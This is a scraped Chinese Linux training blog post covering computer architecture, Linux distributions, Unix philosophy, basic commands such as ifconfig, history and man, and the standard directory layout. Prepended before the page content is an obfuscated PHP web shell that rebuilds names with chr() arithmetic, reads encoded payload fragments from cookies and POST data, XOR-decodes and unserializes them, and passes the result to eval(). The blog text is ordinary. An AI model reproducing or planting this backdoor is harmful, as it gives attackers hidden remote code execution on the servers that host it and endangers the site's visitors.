$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络21期——第一周博客练习 | Linux运维部落

马哥教育网络21期——第一周博客练习

1.计算机的组成及其功能

      现代计算机遵循“冯诺依曼”架构,由运算器、控制器、存储器、输入设备和输出设备组成。其中运算器负责加减乘除运算,其中最核心的是加法器;控制器负责协调计算器各部件的运作;

      存储器用于存储数据;输入设备和输出设备属于外围设备,用来提供人与计算机的交互。

2.linux发行版及不同发行版之间的联系和区别

      linux发行版(三大主流)
        slackware:
            suse
                  opensuse
        debian:
            ubuntu
        redhat:
            rhel:redhat enterprise linux
            centos:兼容rhel的格式
            fedora社区:每6个月发行一个新版本
        其他Linux发行版  
        Archlinux
        Gentoo
        LFS:linux from scratch
        Android:kernel+busybox+java虚拟机

3.linux哲学思想

    (1)一切皆文件

            linux把一切都当作文件来处理,普通文件、目录、设备、管道、套接字都以文件的方式来处理,这样就可以使事情变得simple和stupid。

    (2)每个单一程序只做一件事情并且要做好。

            这就像是一种搭积木的方式,每个程序就像一块积木,用户通过组合不同的程序拼搭出优秀的形状。

    (3)尽量避免与用户交互,实现脚本编程,以自动化的方式完成功能。

    (4)使用纯文本文件保存配置信息,一款优秀的文本编辑器即可完成系统配置工作。

4.linux系统上命令的使用格式

    # COMMAND [OPTION…] [ARGUMENTS…]

        COMMAND:命令

        OPTION:选项,每个命令有不同的选项,有短选项和长选项,几个短选项可以合并在一起使用。

        ARGUMENTS:参数,可以有多个参数

5.ifconfig、echo、tty、startx、export、pwd、history、shutdown、poweroff、reboot、hwclock、date命令的使用

    ifconfig用于配置一个网络接口

        在命令行下执行ifconfig命令(不加选项和参数)会显示本机网络接口的信息

    [Tant@localhost ~]$ ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:0C:29:A6:50:13  
              inet addr:192.168.80.128  Bcast:192.168.80.255  Mask:255.255.255.0
              inet6 addr: fe80::20c:29ff:fea6:5013/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:3304 errors:0 dropped:0 overruns:0 frame:0
              TX packets:1831 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000
              RX bytes:3038392 (2.8 MiB)  TX bytes:224831 (219.5 KiB)

    lo        Link encap:Local Loopback  
              inet addr:127.0.0.1  Mask:255.0.0.0
              inet6 addr: ::1/128 Scope:Host
              UP LOOPBACK RUNNING  MTU:16436  Metric:1
              RX packets:496 errors:0 dropped:0 overruns:0 frame:0
              TX packets:496 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0
              RX bytes:39200 (38.2 KiB)  TX bytes:39200 (38.2 KiB)

    echo用于显示一行文本

        用法:# echo [SHURT_OPTION]… [STRING]…

                 # echo LONG_OPTION

    [Tant@localhost ~]$ echo "how are you ?"
    how are you ?
    [Tant@localhost ~]$ echo "$PATH"
    /usr/lib64/qt-3.3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/Tant/bin
    [Tant@localhost ~]$ echo '$PATH'
    $PATH

    tty显示标准输入所在的终端

    [Tant@localhost ~]$ tty
    /dev/pts/0

        /dev/pts/0表示当前标准输入在模拟终端0下。

        /dev/tty[1-7] 为虚拟终端。

  

     当需要启动图形界面的时候可以执行命令startx

    

     export是bash内嵌的命令,用于修改环境变量值

    pwd:显示当前工作目录

    [Tant@localhost ~]$ pwd
    /home/Tant

    history:显示历史命令

        登录shell时,会读取历史文件中记录下的命令:~/.bash_history
        登录进shell后新执行的命令只会记录在缓存中,这些命令会在用户退出时记录到~./bash_history中
        history:
            -a 追加本次会话新执行的命令历史列表至历史文件中;
            -d 【num】删除历史中指定的命令;
            -c 清空命令历史;
        快捷操作:
            !#:调用历史中第#条命令;
            !string:调用历史中最近一个以string开头的命令。
            !!:上一条命令

  

    关机或重启
        halt, poweroff
        reboot
            -f:强制,不推荐
            -p:切断电源
         shutdown
            -r:reboot
            -h:halt
            -c:取消操作    

    hwclock:显示和设置硬件时钟

    date命令
       # date [MMDDhhmm[[CC]YY][.ss]]:设置日期时间
        YY:两位年份
        CCYY:四位年份
        .ss:秒钟
       linux的两种时钟
        系统时钟:由linux内核通过CPU的工作频率进行的计时。
        硬件时钟:
         # hwclock 显示硬件时钟
       cal 显示日历

    # date [OPTION]… [+FORMAT]:显示日期时间

    

6.man的使用

      man用于获取外部命令的帮助手册
        /usr/share/man
            man1:用户命令
            man2:系统调用
            man3:C库调用
            man4:设备文件及特殊文件
            man5:配置文件格式
            man6:游戏
            man7:杂项
            man8:管理类命令
    查看指定章节中的手册:man # COMMAND
    man命令的配置文件:/etc/man.config
        MANPATH /PATH/TO/SOMEWHERE
    # man -M /PATH/TO/SOMEWHERE COMMMAND :到指定位置下搜索COMMAND命令的手册页并显示之;

    帮助手册中符号的意义:
        []:可选内容
        <>:必选内容
        a|b:二选一
        …:同一内容可出现多次
        {}:辅助性符号
    
    man命令操作(调用了less):
        Space,^V,^f,^F:向文件尾翻屏;
        b,^B:向文件首部翻屏;
        d,^D:向文件尾部翻半屏;
        u,^U:向文件首部翻半屏;
        RETURN,^N,e,^E or j or ^J:向文件尾部翻一行;
        y or ^Y or ^P or k or ^K:向文件首部翻一行;
        q:退出
        快速定位第20行,键入20加enter

        1G:回到文件首部
        G:翻至文件尾部

        搜索:/KEYWORD

  

7.help的使用

    help用于获取bash内嵌命令的帮助手册

    用法:# help COMMAND

8.Linux发行版的基础目录名称命名法则及功用规定

    /boot:引导文件存放目录,内核文件、引导加载器都存放于此目录
    /bin:供所有用户使用的基本命令;通常不能够关联至独立分区;OS启动即会用到的程序
    /sbin:管理类的基本命令;
    /lib:基本共享库文件,以及内核模块文件(/lib/modules)
    /lib64:专用于x86_64系统上的辅助共享库文件存放位置;(64位系统转有)
    /etc:配置文件目录(纯文本文件)
    /home/USERNAME:普通用户家目录
    /root:管理员的家目录
    /media:便携式移动设备挂载点
        cdrom
        usb
    /mnt:临时文件系统挂载点
    /dev:设备文件及特殊文件存储位置
        b:block device 可随机访问设备
        c:character device 线性访问设备(键盘)
    /opt:第三方应用程序的安装位置:
    /srv:系统上运行的服务用到的数据;
    /tmp:临时文件
    /usr:全局共享只读数据,universal shared read-only
        bin:保证系统拥有完整功能而提供的应用程序
        sbin:通常只有管理员才能运行
        lib:
        lib64:
        include:c程序头文件存放目录
        share:结构化独立的数据,例如doc,man等
        local:第三方应用程序安装位置;
            bin, sbin, lib, lib64, etc, share
    /var:可变数据文件 variable date files
        cache:应用程序缓存目录
        lib:应用程序状态信息数据
        local:专用于/usr/local下的应用程序状态信息
        lock:锁文件
        log:日志目录及文件
        opt:专用于/opt下的应用程序状态信息
        run:运行中的进程相关的数据,通常用于存储进程的pid文件
        spool:缓冲池
        tmp:保存
    /proc:用于输出内核与进程信息相关的虚拟文件系统

    /sys:用于输出当前系统上硬件设备相关信息的虚拟文件系统

    /selinux:security enhanced linux

原创文章,作者:Tant,如若转载,请注明出处:http://www.178linux.com/23069

(0)
上一篇 2016-07-12 11:16
下一篇 2016-07-12 11:16

相关推荐

  • linux中for的用法

    关于linuxbash shell中的for语句 在linux中shell是必不可少的一部分,但是在bash shell中有while,for,until等循环命令,今天就介绍一下关于for的一些用法。文中任何错误希望大佬们一一指出,不胜感激。 bashshell中提供了for命令,用于创建通过一系列值重复的循环,每次重复使用系列中的一个值执行一个定义的命令…

    2017-07-15
  • 第四周博客分享

                    时间匆匆,转眼来马哥已经快一个月了,这一个月对我来说是收获满满,每天都在学到新的东西。       &nbs…

    2017-08-06
  • Linux网络相关概念及bash脚本编程练习

    马哥教育网络班第23期+第八周课堂练习 Linux网络相关概念及bash脚本编程练习 习题: 1.请描述网桥、集线器、二层交换机、三层交换机、路由器的功能、使用场景与区别 (1)网桥: 橋接器(英语:network bridge),又称网桥,一種網路裝置,負責網路橋接(network bridging)之用。 橋接器将网络的多个网段在数据链路层(O…

    Linux干货 2016-11-15
  • DNS和BIND配置(第一部分)

    一、知识整理 1、最初只有七个一级域名:Top Level Domain:tld:com、edu、mil、gov、net、org、int;     一级域名分三类:组织域、国家域、反向域。最多127级域名;全球有13个根节点服务器。 2、一次完整的查询请求经过的流程:client—hosts文件&#8212…

    Linux干货 2016-10-17
  • Linux命令基础

    Linux命令基础

    2018-03-25
  • 第一周作业-01

    计算机组成    硬件:主要由5大部件组成,CPU包含运算器和控制器两大部件        CPU:运算器、控制器、寄存器、缓存        存储器:内存,RAM(Random Access Memory)    , Memory只支持平…

    Linux干货 2016-09-10

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-12 14:20

    写的很好,排版还可以在漂亮一点,加油